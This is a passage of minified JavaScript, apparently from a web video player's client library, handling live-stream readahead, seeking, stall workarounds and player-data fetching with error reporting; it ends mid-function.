zDX=function(x,T){var t=[];x=g.S(x.array);for(var u=x.next();!u.done&&!(u=u.value,u.contains(T)&&t.push(u),u.start>T);u=x.next());return t};
kLV=function(x){return x.array.slice(b8i(x,0x7ffffffffffff),x.array.length)};
b8i=function(x,T){x=I2(x.array,function(t){return T-t.start||1});
return x<0?-(x+1):x};
F_m=function(x,T){var t=NaN;x=g.S(x.array);for(var u=x.next();!u.done;u=x.next())if(u=u.value,u.contains(T)&&(isNaN(t)||u.end<t)&&(t=u.end),u.start>T&&(isNaN(t)||u.start<t)){t=u.start;break}return t};
hDC=function(x,T){x.array=x.array.filter(function(t){return!T.has(t)})};
g.p8=function(x,T,t,u,H){g.W.call(this);this.S=x;this.uG=T;this.D=t;this.ZZ=u;this.K=H;this.j=NaN;this.N=this.J=this.started=!1;this.Z=[];this.jY=new g.wX(this.sync,250,this);g.y(this,this.jY);this.T=new g.wX(this.sync,0,this);g.y(this,this.T);this.C=new U0X};
vyv=function(x){x.started=!0;x.sync()};
Vhm=function(x,T){x.started&&(x.sync(),g.p(T.oldState,16)&&(T=F_m(x.C,Math.max(x.j-2E3,0)),!isNaN(T)&&T<0x7ffffffffffff&&x.T.start()))};
GL4=function(x,T){T=g.S(T);for(var t=T.next();!t.done;t=T.next()){t=t.value;var u=t[1];t[0]===1?x.ZZ(g.$m(u.namespace),u):x.ZZ(g.Hv(u.namespace),u)}};
g.Ow=function(x){var T=this;this.Em=x;this.yF={kYU:function(){return T.Em}}};
f8=function(x){x.Em.dispose()};
L_f=function(x){this.Cf=x;this.j=this.Z=this.mediaTime=NaN;this.K=this.C=!1;this.T=.001;g.bS(x)&&(this.T=.01)};
wR=function(x,T){return T>x.mediaTime+x.T&&T<x.mediaTime+5};
F6D=function(x,T,t,u,H){if(u=u>1)x.K=!0;if((H===void 0?0:H)||isNaN(x.Z))x.Z=T;if(x.C)T!==x.mediaTime&&(x.C=!1);else if(T>0&&x.mediaTime===T){H=1500;if(x.Cf.B("html5_buffer_underrun_transition_fix")){H=g.Z9(x.Cf.experiments,"html5_min_playback_advance_for_steady_state_secs");var I=g.Z9(x.Cf.experiments,"html5_min_underrun_buffered_pre_steady_state_ms");H=H>0&&I>0&&Math.abs(T-x.Z)<H?I:1500}return t-x.j>(u||!x.K?H:400)}x.mediaTime=T;x.j=t;return!1};
nyH=function(x,T){this.videoData=x;this.C=T};
aiv=function(x,T,t){return T.b4(t).then(function(){return vi(new nyH(T,T.j))},function(u){u instanceof Error&&g.Vh(u);
var H=hE('video/mp4; codecs="avc1.42001E, mp4a.40.2"'),I=VV('audio/mp4; codecs="mp4a.40.2"'),E=H||I,Z=T.isLivePlayback&&!g.tF(x.T,!0);u="fmt.noneavailable";Z?u="html5.unsupportedlive":E||(u="html5.missingapi");E=Z||!E?2:1;H={buildRej:"1",a:T.uQ(),d:!!T.Jq,drm:T.Ut(),f18:T.aH.indexOf("itag=18")>=0,c18:H};T.C&&(T.Ut()?(H.f142=!!T.C.C["142"],H.f149=!!T.C.C["149"],H.f279=!!T.C.C["279"]):(H.f133=!!T.C.C["133"],H.f140=!!T.C.C["140"],H.f242=!!T.C.C["242"]),H.cAAC=I,H.cAVC=VV('video/mp4; codecs="avc1.42001E"'),
H.cVP9=VV('video/webm; codecs="vp9"'));T.T&&(H.drmsys=T.T.keySystem,I=0,T.T.C&&(I=Object.keys(T.T.C).length),H.drmst=I);return new r4(u,H,E)})};
K8=function(x){this.data=window.Float32Array?new Float32Array(x):Array(x);this.Z=this.C=x-1};
gyC=function(x){return x.data[x.C]||0};
BRf=function(x){this.T=x;this.j=this.Z=0;this.K=new K8(50)};
xG=function(x,T,t){g.$B.call(this);this.videoData=x;this.experiments=T;this.D=t;this.Z=[];this.K=0;this.j=!0;this.T=!1;this.N=0;t=new W_V;x.latencyClass==="ULTRALOW"&&(t.K=!1);x.SY?t.Z=3:g.rb(x)&&(t.Z=2);x.latencyClass==="NORMAL"&&(t.D=!0);var u=g.Z9(T,"html5_liveness_drift_proxima_override");if(lv(x)!==0&&u){t.C=u;var H;((H=x.C)==null?0:hwH(H))&&t.C--}$7(x)&&T.aU("html5_sabr_parse_live_metadata_playback_boundaries")&&(t.S=!0);if(g.D2("trident/")||g.D2("edge/"))H=g.Z9(T,"html5_platform_minimum_readahead_seconds")||
3,t.j=Math.max(t.j,H);g.Z9(T,"html5_minimum_readahead_seconds")&&(t.j=g.Z9(T,"html5_minimum_readahead_seconds"));g.Z9(T,"html5_maximum_readahead_seconds")&&(t.J=g.Z9(T,"html5_maximum_readahead_seconds"));T.aU("html5_force_adaptive_readahead")&&(t.K=!0);if(H=g.Z9(T,"html5_liveness_drift_chunk_override"))t.C=H;jV(x)&&(t.C=(t.C+1)/5,x.latencyClass==="LOW"&&(t.C*=2));if(x.latencyClass==="ULTRALOW"||x.latencyClass==="LOW")t.T=g.Z9(T,"html5_low_latency_adaptive_liveness_adjustment_segments")||1,t.N=g.Z9(T,
"html5_low_latency_max_allowable_liveness_drift_chunks")||10;this.policy=t;this.J=this.policy.Z!==1;this.C=Xe(this,D05(this,isNaN(x.liveChunkReadahead)?3:x.liveChunkReadahead,x))};
ylf=function(x,T){if(T)return T=x.videoData,T=D05(x,isNaN(T.liveChunkReadahead)?3:T.liveChunkReadahead,T),Xe(x,T);if(x.Z.length){if(Math.min.apply(null,x.Z)>1)return Xe(x,x.C-1);if(x.policy.K)return Xe(x,x.C+1)}return x.C};
NRC=function(x,T){if(!x.Z.length)return!1;var t=x.C;x.C=ylf(x,T===void 0?!1:T);if(T=t!==x.C)x.Z=[],x.K=0;return T};
TU=function(x,T){return T>=x.gi()-JlV(x)};
C$H=function(x,T,t){T=TU(x,T);t||T?T&&(x.j=!0):x.j=!1;x.J=x.policy.Z===2||x.policy.Z===3&&x.j};
Q1H=function(x,T){T=TU(x,T);x.T!==T&&x.publish("livestatusshift",T);x.T=T};
JlV=function(x){var T=x.policy.C;x.T||(T=Math.max(T-1,0));return T*oz(x)};
D05=function(x,T,t){t.SY&&T--;jV(t)&&(T=1);if(lv(t)!==0&&(x=g.Z9(x.experiments,"html5_live_chunk_readahead_proxima_override"))){T=x;var u;((u=t.C)==null?0:hwH(u))&&T++}return T};
oz=function(x){return x.videoData.C?SP(x.videoData.C)||5:5};
Xe=function(x,T){T=Math.max(Math.max(1,Math.ceil(x.policy.j/oz(x))),T);return Math.min(Math.min(8,Math.floor(x.policy.J/oz(x))),T)};
W_V=function(){this.j=0;this.J=Infinity;this.K=!0;this.C=2;this.Z=1;this.D=!1;this.N=10;this.S=!1;this.T=1};
uR=function(x){g.W.call(this);this.Em=x;this.C=0;this.Z=null;this.D=this.K=0;this.j={};this.Cf=this.Em.Y();this.T=new g.wX(this.NI,1E3,this);this.Ee=new t6({delayMs:g.Z9(this.Cf.experiments,"html5_seek_timeout_delay_ms")});this.Om=new t6({delayMs:g.Z9(this.Cf.experiments,"html5_long_rebuffer_threshold_ms")});this.Cz=s2(this,"html5_seek_set_cmt");this.G9=s2(this,"html5_seek_jiggle_cmt");this.mu=s2(this,"html5_seek_new_elem");this.Ym=s2(this,"html5_unreported_seek_reseek");this.uG=s2(this,"html5_long_rebuffer_jiggle_cmt");
this.hQ=s2(this,"html5_long_rebuffer_ssap_clip_not_match");this.Hv=new t6({delayMs:2E4});this.AQ=s2(this,"html5_seek_new_elem_shorts");this.SY=s2(this,"html5_seek_new_media_source_shorts_reuse");this.tQ=s2(this,"html5_seek_new_media_element_shorts_reuse");this.nf=s2(this,"html5_reseek_after_time_jump");this.J=s2(this,"html5_gapless_handoff_close_end_long_rebuffer");this.ZZ=s2(this,"html5_gapless_slow_seek");this.S=s2(this,"html5_gapless_slice_append_stuck");this.jY=s2(this,"html5_gapless_slow_start");
this.N=s2(this,"html5_ads_preroll_lock_timeout");this.tM=s2(this,"html5_ssap_ad_longrebuffer_new_element");this.Lz=new t6({delayMs:g.Z9(this.Cf.experiments,"html5_skip_slow_ad_delay_ms")||5E3,Lq:!this.Cf.B("html5_report_slow_ads_as_error")});this.ra=new t6({delayMs:g.Z9(this.Cf.experiments,"html5_skip_slow_ad_delay_ms")||5E3,Lq:!this.Cf.B("html5_skip_slow_buffering_ad")});this.hM=new t6({delayMs:g.Z9(this.Cf.experiments,"html5_slow_start_timeout_delay_ms")});this.QU=s2(this,"html5_slow_start_no_media_source");
g.y(this,this.T)};
s2=function(x,T){var t=g.Z9(x.Cf.experiments,T+"_delay_ms");x=x.Cf.B(T+"_cfl");return new t6({delayMs:t,Lq:x})};
prm=function(x,T){x.C=T};
$G=function(x,T,t,u,H,I,E,Z){T.test(t)?(x.XD(H,T,E),T.Lq||I()):(T.i5&&T.Z&&!T.K?(t=(0,g.bo)(),u?T.C||(T.C=t):T.C=0,I=!u&&t-T.Z>T.i5,t=T.C&&t-T.C>T.sV||I?T.K=!0:!1):t=!1,t&&(Z=Object.assign({},x.K2(T),Z),Z.wn=E,Z.we=H,Z.wsuc=u,x.Em.kc("workaroundReport",Z),u&&(T.reset(),x.j[H]=!1)))};
t6=function(x){var T=x===void 0?{}:x;x=T.delayMs===void 0?0:T.delayMs;var t=T.sV===void 0?1E3:T.sV;var u=T.i5===void 0?3E4:T.i5;T=T.Lq===void 0?!1:T.Lq;this.C=this.Z=this.j=this.startTimestamp=0;this.K=!1;this.T=Math.ceil(x/1E3);this.sV=t;this.i5=u;this.Lq=T};
K_q=function(x){g.W.call(this);var T=this;this.Em=x;this.D=this.C=this.Kf=this.mediaElement=this.playbackData=null;this.K=0;this.T=this.ZZ=this.j=null;this.jY=!1;this.Lz=0;this.J=!1;this.timestampOffset=0;this.N=!0;this.G9=0;this.mu=this.hM=!1;this.S=0;this.SY=!1;this.uG=0;this.Cf=this.Em.Y();this.videoData=this.Em.getVideoData();this.policy=new O8v;this.Hv=new uR(this.Em);this.Ee=this.nf=this.QU=this.Z=NaN;this.hQ=new g.wX(function(){fi3(T,!1)},2E3);
this.ra=new g.wX(function(){Hk(T)});
this.AQ=new g.wX(function(){T.jY=!0;wr3(T,{})});
this.Cz=NaN;this.Om=new g.wX(function(){var t=T.Cf.hR;t.C+=1E4/36E5;t.C-t.j>1/6&&(Ncv(t),t.j=t.C);T.Om.start()},1E4);
g.y(this,this.Hv);g.y(this,this.hQ);g.y(this,this.AQ);g.y(this,this.ra);g.y(this,this.Om)};
TkH=function(x,T){x.playbackData=T;x.videoData.isLivePlayback&&(x.D=new BRf(function(){a:{if(x.playbackData&&x.playbackData.C.C){if(ZF(x.videoData)&&x.Kf){var t=x.Kf.tb.Z$()||0;break a}if(x.videoData.C){t=x.videoData.C.Hv;break a}}t=0}return t}),x.C=new xG(x.videoData,x.Cf.experiments,function(){return x.gb(!0)}));
iR(x.Em)?(T=XrV(x),T.E3?(x.B("html5_sabr_enable_utc_seek_requests")&&$7(x.videoData)&&x.df(T.E3,T.startSeconds),x.K=T.startSeconds):T.startSeconds>0&&x.seekTo(T.startSeconds,{wp:"seektimeline_startPlayback",seekSource:15}),x.N=!1):x3i(x)||(x.K=x.K||(g.pB(x.videoData)?0:x.videoData.startSeconds)||0)};
tZv=function(x,T){(x.Kf=T)?oGH(x,!0):Iz(x)};
sz3=function(x,T){g.Kt(x.Hv.T);x.B("html5_exponential_memory_for_sticky")&&(T.state.isPlaying()?g.Kt(x.Om):x.Om.stop());if(x.mediaElement)if(T.oldState.state===8&&Zz(T.state)&&T.state.isBuffering()){T=x.mediaElement.getCurrentTime();var t=x.mediaElement.kp();var u=x.B("manifestless_post_live_ufph")||x.B("manifestless_post_live")?IE(t,Math.max(T-3.5,0)):IE(t,T-3.5);u>=0&&T>t.end(u)-1.1&&u+1<t.length&&t.start(u+1)-t.end(u)<11&&(u=t.start(u+1)+.2,Math.abs(x.Cz-u)<.2||(x.Em.kc("seekover",{b:iK(t,"_"),
cmt:T}),x.Cz=u,x.seekTo(u,{OJ:!0,wp:"seektimeline_postLiveDisc"})))}else((t=T.state)==null?0:t.state===8)&&!x.mu&&(x.videoData.limitedPlaybackDurationInSeconds>0?(E2(x.Em,x.getCurrentTime()+x.videoData.limitedPlaybackDurationInSeconds),x.mu=!0):x.videoData.isLivePlayback&&x.videoData.endSeconds>0&&(E2(x.Em,x.getCurrentTime()+x.videoData.endSeconds),x.mu=!0))};
$33=function(x,T){var t=x.getCurrentTime(),u=x.isAtLiveHead(t);if(x.D&&u){var H=x.D;if(H.C&&!(t>=H.Z&&t<H.j)){var I=H.C.tp(t);I!==-1&&(H.Z=H.C.getStartTime(I),H.j=H.Z+H.C.getDuration(I),I=(0,g.bo)()/1E3-H.C.p4(I),I-=H.T(),H.K.add(I))}}x.C&&(u&&(H=x.C,I=u8i(x),H.K++,H.K<3||Date.now()-H.N<3E3||(H.N=Date.now(),H.Z.push(I),H.Z.length>50&&H.Z.shift())),H=x.C,C$H(H,t,T===void 0?!0:T),Q1H(H,t),T&&fi3(x,!0));u!==x.hM&&(T=x.getCurrentTime()-x.Ee<=500,t=x.Lz>=1E3,T||t||(T=x.Em.VA(),T.qoe&&(T=T.qoe,t=g.Uw(T.provider),
g.ky(T,t,"lh",[u?"1":"0"])),x.hM=u,x.Lz++,x.Ee=x.getCurrentTime()))};
fi3=function(x,T){if(x.C){var t=x.C;var u=x.getCurrentTime();!TU(t,u)&&t.Js()?(t.policy.D&&(t.policy.C=Math.max(t.policy.C+t.policy.T,t.policy.N)),t=Infinity):t=u<t.videoData.qU()?Math.min(t.videoData.qU()+10,t.gi()):NaN;if(!isNaN(t)){if(x.Kf&&T&&(T=x.hQ.isActive(),u=x.C.gi(),(u=U$m(x.Kf,u-x.Pk()))&&!T)){x.hQ.start();x.Em.kc("inBufferPtl",{cmt:x.getCurrentTime(),seekTo:u+x.Pk()});x.seekTo(u+x.Pk(),{wp:"seektimeline_inBufferSeek"});return}x.seekTo(t,{wp:"seektimeline_pegToLive"})}}};
oGH=function(x,T){if(x.C&&x.Kf){var t=!1;T?t=!0:x.videoData.isLowLatencyLiveStream||x.videoData.latencyClass==="LOW"||x.videoData.latencyClass==="ULTRALOW"?t=NRC(x.C):x.SY&&(x.SY=!1,t=NRC(x.C,!0));t&&(T=x.Em.VA(),t=x.C,t=oz(t)*t.C,T.qoe&&(T=T.qoe,g.ky(T,g.Uw(T.provider),"lra",[t]),T.kc("live-readahead-seconds",{v:t})));T=x.Kf;t=x.C.C;x=x.C;x=(x.C-1+x.policy.C)*oz(x);var u=NaN,H=T.Ym;H===2||H===-1?jV(T.Em.getVideoData())&&(u=T.policy.Uf):--t;t=Math.max(t,0);H=T.T;H.IT=t;H.S=u;T.N&&(T.N.ZZ=x)}};
Hwi=function(x,T){x.K=T};
wr3=function(x,T){iw3(x,T).then(void 0,function(){Iz(x)});
IEv(x).then(function(t){EGV(x,t)},function(){Iz(x)});
x.Em.S5(T);x.Cf.AM()&&(T=x.K2(),T["native"]=""+ +x.J,T.tgt=""+x.Z,T.otgt=""+(x.Z+x.timestampOffset),x.C&&x.B("html5_high_res_seek_logging")&&(T.tht=""+x.C.D(),T.ht=""+x.C.gi(),T.adft=""+JlV(x.C)),x.B("html5_sabr_parse_live_metadata_playback_boundaries")&&x.videoData.C&&$7(x.videoData)&&(T.minst=""+x.videoData.C.U$,T.cminst=""+(x.videoData.C.qU()+x.timestampOffset),T.maxst=""+x.videoData.C.jb,T.hts=""+x.videoData.C.jY,T.cmaxst=""+(x.videoData.C.gb()+x.timestampOffset)),x.Em.kc("startSeek",T))};
iw3=function(x,T){x.ZZ||(x.Kf?isFinite(x.Z)?x.ZZ=x.Kf.seek(x.Z-x.timestampOffset,T):(q$(x.videoData),x.ZZ=Md(x.Kf),wb(x.videoData)||(x.Z=x.Kf.getCurrentTime()+x.timestampOffset)):x.ZZ=g.dd(x.Z-x.timestampOffset));return x.ZZ};
IEv=function(x){var T=x.j;T||(x.j=new XG,T=x.j,Hk(x));return T};
q3=function(x,T,t){return isNaN(T)?NaN:g.iu(T,x.qU(),x.gb(t))};
Hk=function(x){if(x.j)if(x.videoData.isLivePlayback&&x.videoData.j&&!x.videoData.j.C&&x.mediaElement&&x.mediaElement.LB()>0&&Tj(x.mediaElement)>0&&(x.Z=q3(x,x.Z,!1)),!x.mediaElement||!q2V(x))x.ra.start(750);else if(!isNaN(x.Z)&&isFinite(x.Z)){var T=x.nf-(x.Z-x.timestampOffset);if(!(T===0||x.B("html5_enable_new_seek_timeline_logic")&&Math.abs(T)<.005))if(T=x.mediaElement.getCurrentTime()-x.Z,Math.abs(T)<=x.G9||x.B("html5_enable_new_seek_timeline_logic")&&Math.abs(T)<.005)x.j&&x.j.resolve(x.mediaElement.getCurrentTime());
else{if(x.videoData.Qj)x.videoData.Qj=!1;else if(!q$(x.videoData)&&x.Z>=x.gb()-.1){x.Z=x.gb();x.j.resolve(x.gb());x.Em.W1();return}try{var t=x.Z-x.timestampOffset;x.mediaElement.seekTo(t);x.Hv.C=t;x.nf=t;x.K=x.Z;x.B("html5_enable_new_seek_timeline_logic")&&(x.J=!1)}catch(u){}}}};
q2V=function(x){if(!x.mediaElement||x.mediaElement.LB()===0||x.mediaElement.hasError())return!1;var T=x.mediaElement.getCurrentTime()>0;if(!(x.videoData.j&&x.videoData.j.C||x.videoData.isLivePlayback)&&x.videoData.Ut())return T;if(x.Z>=0){var t=x.mediaElement.qB();if(t.length||!T)return Ec(t,x.Z-x.timestampOffset)}return T};
EGV=function(x,T){x.T&&(x.T.resolve(T),x.Em.v2(),x.Cf.AM()&&(T=x.K2(),T["native"]=""+ +x.J,T.otgt=""+(x.Z+x.timestampOffset),x.Em.kc("seekEnd",T)));Iz(x)};
Iz=function(x){x.Z=NaN;x.nf=NaN;x.j=null;x.ZZ=null;x.T=null;x.jY=!1;x.J=!1;x.G9=0;x.hQ.stop();x.AQ.stop()};
e5V=function(x,T,t){var u=x.mediaElement,H=T.type;switch(H){case "seeking":var I=u.getCurrentTime()+x.timestampOffset;if(!x.j||x.J&&I!==x.Z){var E=!!x.j;x.j=new XG;x.B("html5_enable_new_seek_timeline_logic")&&x.j.then(function(e){EGV(x,e)},function(){Iz(x)});
if(x.videoData.isAd()){var Z;Xym({adCpn:x.videoData.clientPlaybackNonce,contentCpn:(Z=x.videoData.vO)!=null?Z:""},T.C)}x.nf=I;prm(x.Hv,u.getCurrentTime());x.seekTo(I,{seekSource:104,wp:"seektimeline_mediaElementEvent"});t&&Zwi(t,I*1E3,!!E);x.J=!0}break;case "seeked":x.j&&x.j.resolve(x.mediaElement.getCurrentTime());break;case "loadedmetadata":iR(x.Em)||jzX(x);Hk(x);break;case "progress":Hk(x);break;case "pause":x.S=x.getCurrentTime()}x.S&&((H==="play"||H==="playing"||H==="timeupdate"||H==="progress")&&
x.getCurrentTime()-x.S>10&&(x.B("html5_enable_new_media_element_puase_jump")?(x.Em.XD(new r4("qoe.restart",{reason:"pauseJump"})),x.Em.jw()):x.seekTo(x.S,{wp:"pauseJump"})),H!=="pause"&&H!=="play"&&H!=="playing"&&H!=="progress"&&(x.S=0))};
lEi=function(x){return(zT(x.videoData)||!!x.videoData.liveUtcStartSeconds)&&(!!x.videoData.liveUtcStartSeconds||x3i(x))&&!!x.videoData.C};
x3i=function(x){return!!x.videoData.startSeconds&&isFinite(x.videoData.startSeconds)&&x.videoData.startSeconds>1E9};
XrV=function(x){var T=0,t=NaN,u="";if(!x.N)return{startSeconds:T,E3:t,source:u};x.videoData.hQ?T=x.videoData.QU:q$(x.videoData)&&(T=Infinity);if(g.rb(x.videoData))return{startSeconds:T,E3:t,source:u};x.videoData.startSeconds?(u="ss",T=x.videoData.startSeconds):x.videoData.dN&&(u="stss",T=x.videoData.dN);x.videoData.liveUtcStartSeconds&&(t=x.videoData.liveUtcStartSeconds);if(isFinite(T)&&(T>x.gb()||T<x.qU())){var H={};H.minSeekableTime=x.qU();H.maxSeekableTime=x.gb();H.cmt=x.getCurrentTime();H.ss=
T;H.utc=t;H.src=u;x.Em.kc("startSecondsOutOfBounds",H);x.videoData.B9()&&(T=q3(x,T,!1))}return{startSeconds:T,E3:t,source:u}};
jzX=function(x){if(x.N)if(g.rb(x.videoData))x.N=!1;else{var T="ss",t=0,u;((u=x.videoData.C)==null?0:u.isManifestless)&&x.videoData.Ym&&!x3i(x)&&(T="mss",t=x.videoData.Ym);(x.videoData.hQ?x.B("html5_prioritize_windowed_st_start_seconds"):x.B("html5_prioritize_st_start_seconds"))&&!t&&x.videoData.dN&&(T="stss",t=x.videoData.dN);!t&&lEi(x)&&(t=x.videoData.liveUtcStartSeconds||x.videoData.Ym,T="utc",t=x.gb()-x.p4(x.gb())+t);t||x.B("html5_prefer_initial_ss_over_stream_time_ss_for_vod")&&!x.videoData.B9()||
!x.videoData.dN||(T="stss",t=x.videoData.dN);u={};if(t){if(t>x.gb()||t<x.qU())u.minSeekableTime=x.qU(),u.maxSeekableTime=x.gb(),u.cmt=x.getCurrentTime(),u.it=x.p4(x.getCurrentTime()),u.ss=t,u.utc=lEi(x)?x.videoData.liveUtcStartSeconds||x.videoData.Ym:0,x.Em.kc("startSecondsOutOfBounds",u),x.videoData.B9()&&(t=q3(x,t,!1));x.seekTo(t,{wp:"seektimeline_startSeconds"});u[T]=t;x.Em.kc("startSeconds",u);x.N=!1}else x.videoData.Ym&&(u[T]=x.videoData.Ym+x.Pk(),x.Em.kc("startSeconds",u))}};
m3H=function(x,T){x.Em.kc("sdai",{adj4t:T.toFixed(3)});x.QU=T;T+=1;x.Z=T;x.K=T;IEv(x).then(function(t){EGV(x,t)},function(){Iz(x)})};
u8i=function(x){return x.mediaElement?oG(x.mediaElement):0};
O8v=function(){};
ZE=function(x){g.W.call(this);this.j=x;this.C=new Map;this.Z=new g.wX(this.sample,250,this);g.y(this,this.Z);this.start()};
jZ=function(x,T){if((x=x.C.get(T))==null)x=void 0;else{x=x.buffer;for(T=[];x.Z!==x.C;)x.Z=(x.Z+1)%x.data.length,T.push(x.data[x.Z]);x=T}return x||[]};
eZ=function(x,T){var t;return((t=x.C.get(T))==null?void 0:gyC(t.buffer))||0};
d3J=function(x){this.C=x;this.yO=NaN;this.buffer=new K8(100)};
lR=function(){this.finished=this.started=!1};
c6X=function(x){function T(H){return t.jb&&(!u.Qw||!u.Pv.N)||t.ZZ!=="yt"&&(u.partnerId===38&&t.playerStyle==="books"||u.partnerId===30&&t.playerStyle==="docs"||u.partnerId===33&&t.playerStyle==="google-live")?MZC(x,u,H):A6J(x,u).then(function(){mh(x,u)},function(I){mh(x,u,!0);
throw I;})}
var t=x.Y(),u=x.getVideoData();u.T9();u.loading=!0;return R5J(x)?PRi(x,u).then(function(){mh(x,u)},function(H){H=kX(H);
if(zY(H.severity))return mh(x,u,!0),Promise.reject(H);H.errorCode==="onesie.response.badproxystatus"&&""+H.details.st==="3"&&(S2i=!0);x.handleError(H);return T("onesie")}):T("gvi")};
R5J=function(x){var T=x.Y();if(T.B("html5_disable_onesie_when_no_subtlecrypto")&&!Ad()||T.B("html5_disable_onesie")||!T.B("html5_onesie")||!T.B("html5_onesie_inline")&&x.getVisibilityState()===5||T.ZZ!=="yt")return!1;var t=T.vD;if(!t||!t.C)return x.handleError(new r4("onesie.unavailable.hotconfig",{key:"0"})),!1;if(t.C.T<(0,g.bo)()&&(x.kc("okexp","1"),(t=x.cg())&&T.B("html5_prefer_trusted_host_on_key_expiration"))){t.Z=!0;var u;(T=(u=t.C.get(0))==null?void 0:UK(u.location))&&!Iw(T)&&t.C.delete(0)}if(S2i)return x.kc("ost3",
"1"),!1;u={};return Object.keys(u).length>0?(u.onesie="0",x.handleError(new r4("html5.missingapi",u)),!1):!0};
Y23=function(x){var T=a9();gh(T,x);return g.s6(T,ZGX())};
PRi=function(x,T){var t,u,H,I,E,Z,e,l,m,d,M,A,R,Y,b,z,F,V,B,D,f,O,sH,HX,xq,J;return g.G(function(X){if(X.C==1)return T.fetchType="onesie",t=PnC(T,x.getPlayerSize(),x.getVisibilityState()),u=new Oo(x,t),g.v(X,u.fetch(),2);H=X.Z;I={player_response:H};T.loading=!1;E=x.sF.wD;if(u.O0){Z=g.S(u.O0.entries());for(e=Z.next();!e.done;e=Z.next())l=e.value,m=g.S(l),d=m.next().value,M=m.next().value,A=d,R=M,E.C.set(A,R,180),A===T.videoId&&(Y=R.j_(),T.Of=Y);E.rP=u}b=g.S(u.hY.entries());for(z=b.next();!z.done;z=
b.next())F=z.value,V=g.S(F),B=V.next().value,D=V.next().value,f=B,O=D,E.Z.set(f,O,180);g.Qv(T,I,!0);if(T.loading||Jj(T))return X.return(Promise.resolve());E.C.removeAll();E.Z.removeAll();T.Of=[];sH={};HX="onesie.response";xq=0;T.errorCode?(HX="auth",sH.ec=T.errorCode,sH.ed=T.errorDetail,sH.es=T.p7||"",xq=2):(sH.successButUnplayable="1",sH.disposed=""+ +T.T9(),sH.afmts=""+ +/adaptiveFormats/.test(H),sH.cpn=T.clientPlaybackNonce);J=new r4(HX,sH,xq);return X.return(Promise.reject(J))})};
A6J=function(x,T){var t,u,H,I,E,Z,e,l,m,d,M;return g.G(function(A){switch(A.C){case 1:t=T.isAd(),u=!t,H=t?1:3,I=0;case 2:if(!(I<H)){A.lG(4);break}if(!(I>0)){A.lG(5);break}return g.v(A,Y5(5E3),6);case 6:E=new g.CS("Retrying OnePlatform request",{attempt:I}),g.Vh(E);case 5:return g.PX(A,7),g.v(A,U34(x,T),9);case 9:return A.return();case 7:Z=g.Yq(A);e=kX(Z);l=e.errorCode;m=x.Y();d=m.B("html5_use_network_error_code_enums")?401:"401";u&&l==="manifest.net.badstatus"&&e.details.rc===d&&(u=!1,I===H-1&&(H+=
1));if(I===H-1)return M=bwV(t,e.details),M.details.backend="op",M.details.originec=l,A.return(Promise.reject(M));if(l==="auth"||l==="manifest.net.retryexhausted")return A.return(Promise.reject(e));x.handleError(e);if(zY(e.severity)){A.lG(4);break}case 3:I++;A.lG(2);break;case 4:return A.return(Promise.reject(bwV(t,{backend:"op"})))}})};
U34=function(x,T){function t(HX){HX.readyState===2&&x.lI("ps_c")}
var u,H,I,E,Z,e,l,m,d,M,A,R,Y,b,z,F,V,B,D,f,O,sH;return g.G(function(HX){switch(HX.C){case 1:T.fetchType="gp";u=x.Y();H=g.sP(u,g.Cm(T));if(!H.C){I=H.getValue();HX.lG(2);break}return g.v(HX,H.C,3);case 3:I=HX.Z;case 2:return E=I,Z=Y23(E),e=PnC(T,x.getPlayerSize(),x.getVisibilityState()),l=g.K2(r6H),m=g.Cm(T),d=(0,g.bo)(),M=!1,A="empty",R=0,x.lI("psns"),Y={SE:t},g.v(HX,g.QK(Z,e,l,void 0,Y),4);case 4:b=HX.Z;x.lI("psnr");if(T.T9())return HX.return();b?"error"in b&&b.error?(M=!0,A="esf:"+b.error.message,
R=b.error.code):b.errorMetadata&&(M=!0,A="its",R=b.errorMetadata.status):M=!0;if(M)return z=0,F=((0,g.bo)()-d).toFixed(),V={},V=u.B("html5_use_network_error_code_enums")?{backend:"op",rc:R,rt:F,reason:A,has_kpt:T.ra?"1":"0",has_mdx_env:T.mdxEnvironment?"1":"0",has_omit_key_flag:g.pr("INNERTUBE_OMIT_API_KEY_WHEN_AUTH_HEADER_IS_PRESENT")?"1":"0",has_page_id:u.pageId?"1":"0",has_token:m?"1":"0",has_vvt:T.jY?"1":"0",is_mdx:T.isMdxPlayback?"1":"0",mdx_ctrl:T.xz||"",token_eq:m===g.Cm(T)?"1":"0"}:{backend:"op",
rc:""+R,rt:F,reason:A,has_kpt:T.ra?"1":"0",has_mdx_env:T.mdxEnvironment?"1":"0",has_omit_key_flag:g.pr("INNERTUBE_OMIT_API_KEY_WHEN_AUTH_HEADER_IS_PRESENT")?"1":"0",has_page_id:u.pageId?"1":"0",has_token:m?"1":"0",has_vvt:T.jY?"1":"0",is_mdx:T.isMdxPlayback?"1":"0",mdx_ctrl:T.xz||"",token_eq:m===g.Cm(T)?"1":"0"},B="manifest.net.connect",R===429?(B="auth",z=2):R>200&&(B="manifest.net.badstatus",R===400&&(z=2)),HX.return(Promise.reject(new r4(B,V,z)));T.loading=!1;g.Qv(T,{raw_player_response:b},!0);
D=b;g.Gw(T.Y())&&D&&D.trackingParams&&Ff(D.trackingParams);if(T.errorCode)return f={ec:T.errorCode,ed:T.errorDetail,es:T.p7||""},HX.return(Promise.reject(new r4("auth",f,2)));if(!T.loading&&!Jj(T))return O=T.isAd()?"auth":"manifest.net.retryexhausted",sH=T.isAd()?2:1,HX.return(Promise.reject(new r4(O,{successButUnplayable:"1",hasMedia:g.cV(T)?"1":"0"},sH)));g.RV(HX)}})};
MZC=function(x,T,t){function u(R){R=kX(R);if(zY(R.severity))return Promise.reject(R);x.handleError(R);return!1}
function H(){return!0}
var I,E,Z,e,l,m,d,M,A;return g.G(function(R){switch(R.C){case 1:var Y=x.Y(),b=x.getPlayerSize(),z=x.getVisibilityState();x.isFullscreen();var F=window.location.search;if(T.partnerId===38&&Y.playerStyle==="books")F=T.videoId.indexOf(":"),F=g.NY("//play.google.com/books/volumes/"+T.videoId.slice(0,F)+"/content/media",{aid:T.videoId.slice(F+1),sig:T.HW});else if(T.partnerId===30&&Y.playerStyle==="docs")F=g.NY("https://docs.google.com/get_video_info",{docid:T.videoId,authuser:T.Pl9,authkey:T.PW,eurl:Y.tQ});
